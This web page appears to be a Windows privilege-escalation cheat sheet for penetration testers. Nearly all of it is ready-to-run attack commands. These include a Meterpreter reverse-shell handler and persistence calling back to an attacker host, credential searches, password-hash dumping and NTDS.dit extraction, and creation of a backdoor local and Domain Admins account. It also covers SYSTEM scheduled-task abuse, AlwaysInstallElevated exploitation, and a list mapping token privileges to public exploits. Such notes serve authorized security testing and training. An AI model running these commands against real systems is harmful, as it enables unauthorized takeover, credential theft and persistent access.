🚨S1REN's windows privesc
- Windows Privilege Escalation - Resources
-
Initial Enumeration
- Domain Enum (if joined)
- BloodHound / SharpHound
- Whoami
whoamiecho %username%
- Privileges
whoami /priv
- System Info
systeminfowmic os get Caption,CSDVersion,OSArchitecture,Version
- Services
wmic service get name,startnamenet start
- Admin Check
net localgroup administratorsnet user
- Network
netstat -anoyroute printarp -Aipconfig /all
- Users
net usersnet usernet localgroup
- Firewall
netsh advfirewall firewall show rule name=all
- Scheduled Tasks
schtasks /query /fo LIST /v > schtasks.txt
- Installation Rights
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- Domain Enum (if joined)
-
Windows Priv Esc: GitHub Exploits
- SeDebugPrivilege → GitHub PoC
- SeImpersonatePrivilege → PrintSpoofer
- SeAssignPrimaryToken → HackTricks
- SeTcbPrivilege → token-priv
- SeCreateTokenPrivilege → token-priv
- SeLoadDriverPrivilege → SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege → token-priv
- SeRestorePrivilege → SeRestoreAbuse
- SeBackupPrivilege → SeBackupPrivilege
- SeIncreaseQuotaPrivilege → HackTricks
- SeSystemEnvironment → HackTricks
- SeMachineAccount → HackTricks
- SeTrustedCredManAccess → MS Docs
- SeRelabelPrivilege → RelabelAbuse
- SeManageVolumePrivilege → SeManageVolumeExploit
- SeCreateGlobalPrivilege → HackTricks
- Notes
- PrintSpoofer is gold for SeImpersonatePrivilege.
- SeManageVolume has practical field PoCs.
-
Maintaining Access
- Meterpreter Reverse Shell Setup
msfconsoleuse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST <attacker_ip>set LPORT <port>exploit
- Persistence
meterpreter > run persistence -U -i 5 -p 443 -r <LHOST>
- Port Forwarding
meterpreter > portfwd add -l 3306 -p 3306 -r <target_ip>
- System Migration
meterpreter > run post/windows/manage/migratemeterpreter > migrate <PID>
- Execute Payloads
powershell.exe "C:\Tools\privesc.ps1"
- Meterpreter Reverse Shell Setup
-
Privilege Escalation Checklist
- Unquoted Service Paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /v "C:\Windows" | findstr /v '"'
- Weak Service Permissions
accesschk.exe -uwcqv <service>sc qc <service>icacls "C:\Path\To\Service.exe"
- File Transfer Options
certutil.exe,powershell (IEX), SMB, FTP, TFTP, VBScript
- Clear Text Credentials
findstr /si password *.txt *.xml *.inidir /s *pass* == *cred* == *.config*
- Weak File Permissions
accesschk.exe -uwqs Users c:\*.* -accepteulaaccesschk.exe -uwqs "Authenticated Users" c:\*.* -accepteula
- New Admin User
net user siren P@ssw0rd! /addnet localgroup administrators siren /addnet group "Domain Admins" siren /add /domain
- Unquoted Service Paths
-
Scheduled Task Abuse
- Enumeration
schtasks /query /fo LIST /v > tasks.txt
- Create System Task
schtasks /create /ru SYSTEM /sc MINUTE /mo 5 /tn RUNME /tr "C:\Tools\sirenMaint.exe"
- Run Task
schtasks /run /tn "RUNME"
- Enumeration
-
Post Exploit Enumeration
- Network Users
net usernet user <target>net localgroup administrators
- NT Authority Checks
whoamiaccesschk.exe /accepteulaMS09-012.exe "whoami"
- Hash Dump
meterpreter > hashdump
- Exfiltrate
ntds.ditUse secretsdump.py or disk capture tools
- Installer Abuse
AlwaysInstallElevated = 1msiexec /i evil.msi
- Share Enumeration
net sharenet usenet use Z: \\TARGET\SHARE /persistent:yes
- Network Users
-
Toolkit / Resources
- Windows Exploit Suggester
- Cross Compile Payloads (Linux → Windows)
apt-get install mingw-w64- x86:
i686-w64-mingw32-gcc hello.c -o hello.exe - x64:
x86_64-w64-mingw32-gcc hello.c -o hello64.exe
- Additional Reading
-